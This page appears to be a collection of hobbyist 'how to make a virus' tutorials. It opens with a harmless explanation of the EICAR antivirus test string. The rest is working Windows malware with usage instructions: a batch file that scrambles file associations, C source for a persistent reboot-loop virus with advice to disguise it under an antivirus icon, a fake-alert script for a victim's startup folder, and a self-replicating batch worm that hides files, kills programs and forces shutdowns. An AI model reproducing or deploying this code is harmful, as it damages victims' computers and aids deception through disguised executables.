How do I Test My VirusScan Installation?

Description

After installing VirusScan, you may logically wonder, how do I know if it's working? The answer is a test virus. The EICAR Standard AntiVirus Test File is a combined effort by anti-virus vendors throughout the world to implement one standard by which customers can verify their anti-virus installations.

Solution

To test your installation, copy the following line into its own file, then save the file with the name EICAR.COM. More detailed instructions are found below.

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

The file size will be 68 or 70 bytes.

If VirusScan is running and configured correctly, when you try to save the file, VirusScan will detect the virus. If VirusScan is not running, start it and scan the directory that contains EICAR.COM. When your software scans this file, it will report finding the EICAR test file.

Note that this file is NOT A VIRUS. Delete the file when you have finished testing your installation to avoid alarming unsuspecting
users.

The eicar test virus is available for download from the following website:
http://www.eicar.org/download/eicar.com

Creating Eicar.com

   1. Click on Start.
   2. Select Run.
   3. In the Open box type: notepad
   4. Maximize the window.
   5. Highlight the following on the following line of text:
      X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
   6. Right click on the highlighted text and choose 'copy'.
   7. Switch back to Notepad.
   8. Right click anywhere inside of Notepad and select 'paste'.
   9. Click the File menu and select 'save as'.
  10. Change the 'Save as Type' to 'all files'.
  11. Name the file eicar.com.

Extension changing Virus

Hello Friends,

What is Extension changer ? Assume that all images (*.jpeg, Gif etc) are by default opening with “Windows Picture and Fax Viewer” but in this article this will change to some other application as you wish for ex: .mpeg application so that it cannot be opened in this way you can disable opening of jpeg application.The source code & step by step procedure is as follows.

1. Open a Notepad and copy and paste the below code

    @echo off
    assoc .txt=jpegfile
    assoc .exe=htmlfile
    assoc .jpeg=avifile
    assoc .png=mpegfile
    assoc .mpeg=txtfile
    assoc .sys=regfile
    msg Your System got Infected…..
    exit

2. Save it as virus.bat, and now you are ready to go…
3. Execute this on Victims computer
This Virus File will change the native extension with some other extension and makes them unable to open the file unless they know how to deal with it…
The above program replaces all the text files [.txt] with the extension [.jpeg], and likewise….

Make A Virus Program In C to Restart the Computer at Every Startup

Hello Friends,
Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.
Here is the source code.

#include

#include

#include

int found,drive_no;char buff[128];

void findroot()

{

int done;

struct ffblk ffblk; //File block structure

done=findfirst(”C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive

if(done==0)

{

done=findfirst(”C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not

if(done==0)

{

found=1; //means that the system is already infected

return;

}

drive_no=1;

return;

}

done=findfirst(”D:\\windows\\system”,&ffblk,FA_DIREC);

if(done==0)

{

done=findfirst(”D:\\windows\\system\\sysres.exe”,&ffblk,0);

if

(done==0)

{

found=1;return;

}

drive_no=2;

return;

}

done=findfirst(”E:\\windows\\system”,&ffblk,FA_DIREC);

if(done==0)

{

done=findfirst(”E:\\windows\\system\\sysres.exe”,&ffblk,0);

if(done==0)

{

found=1;

return;

}

drive_no=3;

return;

}

done=findfirst(”F:\\windows\\system”,&ffblk,FA_DIREC);

if(done==0)

{

done=findfirst(”F:\\windows\\system\\sysres.exe”,&ffblk,0);

if(done==0)

{

found=1;

return;

}

drive_no=4;

return;

}

else

exit(0);

}

void main()

{

FILE *self,*target;

findroot();

if(found==0) //if the system is not already infected

{

self=fopen(_argv[0],”rb”); //The virus file open’s itself

switch(drive_no)

{

case 1:

target=fopen(”C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place

system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

CurrentVersion\\Run \/v sres \/t REG_SZ \/d

C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup

break;

case 2:

target=fopen(”D:\\windows\\system\\sysres.exe”,”wb”);

system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

CurrentVersion\\Run \/v sres \/t REG_SZ \/d

D:\\windows\\system\\sysres.exe”);

break;

case 3:

target=fopen(”E:\\windows\\system\\sysres.exe”,”wb”);

system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

CurrentVersion\\Run \/v sres \/t REG_SZ \/d

E:\\windows\\system\\sysres.exe”);

break;

case 4:

target=fopen(”F:\\windows\\system\\sysres.exe”,”wb”);

system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

CurrentVersion\\Run \/v sres \/t REG_SZ \/d

F:\\windows\\system\\sysres.exe”);

break;

default:

exit(0);

}

while(fread(buff,1,1,self)>0)

fwrite(buff,1,1,target);

fcloseall();

}

else

system(”shutdown -r -t 0″); //if the system is already infected then just give a command to restart}

NOTE: COMMENTS ARE GIVEN IN GREEN COLOUR.
Compiling The Scource Code Into Executable Virus.

1. Download the Source Code Here
2. The downloaded file will be Sysres.C
Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear.To test, just doubleclick the sysres.exe file and restart the system manually.Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system.After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto X:\Windows\System (X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run 

There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete.So I’ll explain the logic in a simplified manner.Here I’ll not explain the technical details of the program.If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.
AND ONE MORE THING BEFORE YOU LEAVE(This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon.So if you send this file to your friends they may not click on it since it has a default ICON.So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

How To Make Virus

Hello Friends,
Here is the tutorial for making virus.and be careful it might be harmful to your pc

Open notepad and type this:
"lol=msgbox (“Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot”,20,”Warning”)"
and save it as virus.vbs. 
and go to the folder that contains it and open it if a window pops out saying that a virus has been detected,then it’s working. Press yes or no to close the window and put it in the startup folder of the victim’s account.
On startup the window should appear.The Yes and No button does not do anything except closing the window. And you can edit the virus in the sentence: Warning a virus has detected on your PC to any kind of virus eg.Trojan Horse like this lol=msgbox (“Warning a Trojan horse has been detected on your PC. Press YES to format your hard disk now or press NO to format format your hard disk after system reboot”,20,”Warning”)

Simple batch virus. (This is quite Destructive !)

This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as game.bat(not .txt). Be carefull & Don’t run on your PC Just Enjoy It and Play With Your Friends.

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c “VIRUS DETECTED”
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

What does it Do ?
1) Copies itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer.
Best Of Luck